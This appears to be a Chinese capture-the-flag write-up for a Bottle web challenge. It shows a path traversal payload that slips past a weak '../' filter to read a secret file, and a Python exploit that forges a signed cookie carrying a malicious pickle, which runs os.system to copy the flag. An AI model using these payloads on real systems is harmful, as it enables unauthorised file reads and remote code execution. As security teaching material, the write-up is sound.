Signin

  1. Signin
    1. 路径穿越
    2. pickle反序列化
  2. 知识点
  3. pickle反序列化

Signin

参考wp

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()

app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

路径穿越

可以看到存在download路由

1
2
3
4
5
6
7
8
9
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

这里只禁止了两个连在一起的../../和开头的../直接用./绕过即可

payload:

1
/download?filename=./.././.././../secret.txt

读取到了secret.txt

1
Hell0_H@cker_Y0u_A3r_Sm@r7

pickle反序列化

可以看到有一个secret路由

1
2
3
4
5
6
7
8
9
10
11
12
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"

get_cookie的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default

可以看到只要签名对得上就能直接进入pickle的反序列化

使用bottle的cookie_encode生成payload之后拿着payload去改session的值,并将请求发送到/secret。随后可以把回显外带

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os  
import requests
from bottle import cookie_encode
import warnings

# 忽略特定警告
warnings.filterwarnings("ignore", category=DeprecationWarning)

# 自定义 secret
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"

class Test:
def __reduce__(self):
return (eval, ("""__import__('os').system('cp /f* ./2.txt')""",))

# 使用 cookie_encode 编码
exp = cookie_encode(
('session', {"name": [Test()]}),
secret
)

# 发起 GET 请求并传递 cookie
response = requests.get('http://gz.imxbt.cn:20785/secret', cookies={'name': exp.decode()})

访问2.txt直接拿到flag。

知识点

pickle反序列化

pickle反序列化原理


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github